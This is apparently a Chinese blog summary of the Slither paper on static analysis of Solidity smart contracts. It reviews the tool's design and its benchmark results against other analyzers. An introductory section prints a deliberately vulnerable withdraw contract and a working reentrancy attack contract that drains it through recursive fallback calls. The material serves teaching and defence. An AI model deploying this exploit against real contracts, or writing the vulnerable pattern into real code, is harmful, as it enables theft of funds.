Slither: A Static Analysis Framework For Smart

Slither: A Static Analysis Framework For Smart

论文标题：(2019-ICSE) Slither: a static analysis framework for smart contracts ——智能的静态分析框架

论文引用：Feist J, Grieco G, Groce A. Slither: a static analysis framework for smart contracts[C]//2019 IEEE/ACM 2nd International Workshop on Emerging Trends in Software Engineering for Blockchain (WETSEB). IEEE, 2019: 8-15.

代码开源：Slither：the Solidity source analyzer，

一、主要内容

可重入攻击介绍

可重入攻击也就是攻击方发送一笔交易，导致合约一致重复执行直到将合约账户的资源消耗完。攻击方能成功进行可重入攻击，主要依赖于Soildity为智能合约提供的fallback和call函数，下面先对这两个函数的功能进行介绍。

Fallback 函数

以太坊的智能合约，可以声明一个匿名函数（unnamed function），叫做 Fallback 函数，这个函数不带任何参数，也没有返回值。当向这个合约发送消息时，如果没有找到匹配的函数就会调用 fallback 函数。比如向合约转账，但要合约接收 Ether，那么 fallback 函数必须声明为 payable，否则试图向此合约转 ETH 将失败。如下：

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function() payable public { // payable 关键字，表明调用此函数，可向合约转 Ether。
}

向合约发送 send、transfer、call 消息时候都会调用 fallback 函数，不同的是 send 和 transfer 有 2300 gas 的限制，也就是传递给 fallback 的只有 2300 gas，这个 gas 只能用于记录日志，因为其他操作都将超过 2300 gas。但 call 则会把剩余的所有 gas 都给 fallback 函数，这有可能导致循环调用。

Call函数

call 可导致可重入攻击，当向合约转账的时候，会调用 fallback 函数，带有漏洞的合约代码如下：

  • withdraw函数的msg.sender.call.value可能成为恶意代码攻击的地方。
  • 如果发起交易方也是智能合约账户，当攻击方的合约账户通过调用Reentrance合约的withdraw函数进行提现的时候，由于调用call函数，将会调用攻击方合约的fallback函数；如果fallback代码再次调用Reentrance合约的withdraw函数就会形成代码可重入，将Reentrance合约账户的金额全部提走而在区块的记录仅仅提现了第一笔
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contract Reentrance {
  mapping(address => uint) public balances;
    // 充值
  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }
  // 查看余额
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }
  // 提现
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) { //造成可重入攻击的代码
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
  function() public payable {}
}

攻击方的合约代码如下：

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contract ReentranceAttack{
  Reentrance entrance;

  function ReentranceAttack(address _target) public payable {
    entrance = Reentrance(_target);
  }
  function deposit() public payable{
      entrance.donate.value(msg.value);
  }
  function attack() public{
    entrance.withdraw(0.5 ether);
    entrance.withdraw(0.5 ether);
  }
  function() public payable{
   //攻击方将会递归进行提币操作
    entrance.withdraw(0.5 ether);
  }
  function withdraw() public {
      msg.sender.transfer(this.balance);
  }
}

在这里插入图片描述

二、设计实现

基本功能

Slither是一个用Python 3编写的智能合约静态分析框架，提供如下功能：

  • 自动化漏洞检测（Automated vulnerability detection）。提供超30多项的漏洞检查模型，模型列表详见：https://github.com/crytic/slither#detectors。
  • 自动优化检测（Automated optimization detection）。Slither可以检测编译器遗漏的代码优化项并给出优化建议。
  • 代码理解（Code understanding）。Slither能够绘制合约的继承拓扑图，合约方法调用关系图等，帮助开发者理解代码。
  • 辅助代码审查（Assisted code review）。用户可以通过API与Slither进行交互。

工作方式

Slither的工作方式如下：

  1. Solidity compiler：智能合约源码经过solc编译后得到Solidity抽象语法树（Solidity Abstract Syntax Tree，AST）作为Slither的输入；可以指定Slither去调用一些常见的框架（包括Truffle，Embark和Dapp）去分析一份智能合约。
  2. information recovery（数据整合）：Slither会生成一些重要的信息，比如合约的继承图（inheritance graph）、控制流图（CFG）以及合约中函数列表。
  3. SlithIR conversion：Slither将合约代码转换为SlithIR（一种内部表示语言），目的是通过简单的API实现高精度分析，支持污点和值的跟踪，从而支持检测复杂的模型。
  4. 在代码分析阶段，Slither运行一组预定义的分析，包括合约中变量、函数的依赖关系；变量的读写和函数的权限控制。
  5. 经过Slither的核心处理之后，就可以提供漏洞检测、代码优化检测和代码理解输出等。

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三、实验评估

本文的一个重要部分是将Slither与其他智能合约静态分析工具进行比较，我们将Slither（版本0.5.0）与其他开源静态分析工具进行对比，以检测以太坊智能合约中的漏洞，对比的对象有：Securify（版本37e2984），SmartCheck（版本4d3367a）和Solhint（版本1.1.10）。我们决定以检测可重入漏洞作为评估检测好坏的标准，因为可重入漏洞是最古老，最易理解和最危险的安全问题之一。

它在第一个月筹集了超过1.5亿美元的资金。2016年6月17日，黑客从该组织的“重入性”漏洞中抽走了5000万美元。从以太经典（ETC）到以太币（ETH）的硬叉导致了解决这次黑客攻击所产生问题的所有努力。图2显示了一个简单的可重入合约的经典示例，该合约可被人利用以抽取其所有以太币。

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可重入检测器（The reentrancy detecto）是我们评估的所有工具中可用的少数几个之一。此外，我们尝试了Etherscan提供其源代码的一千个最常用的合同（交易数量最大的那些合同），以获得以下结果：

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观察结果可知

  1. 准确性：每行汇总了误报、标记的合同和每个合同的检测准确性结果。 我们的实验表明，Slither是最准确的工具，其误报率最低，为10.9％； 其次是Securify，占25％.相反，SmartCheck和Solhint的假阳性率极高：分别为73.6％和91.3％
  2. 性能：平均执行时间（Average execution time）和超时分析（Timed-out analyses）行汇总了性能结果，确认Slither是最快的工具，其次是Solhint，SmartCheck，最后是Securify。
  3. 鲁棒性：Failed analyses row 总结了健壮性结果，显示Slither是最健壮的工具，其次是Solhint、SmartCheck和Securify。 Slither只对0.1%的合同误报，与此同时，Solhint大约是1.2%左右。SmartCheck和Securify的表现就没那么稳健了，分别有10.22%和11.20%的失败率。

四、总结

Slither自从被开发出来，技术迭代速度很快。截止到目前（2020.10.22），开发者最近发布了Slither0.6.13版，对其做了一些技术改进并添加了一些功能。目前Slither已经拥有96多个开源探测器，包含两个YUL特定检测器，适用于竞态条件、弱加密和其他关键漏洞的检测。相比于其他用于出于科研目的，论文一经发表就不再维护而言的工具而言，Slither有更好健壮性。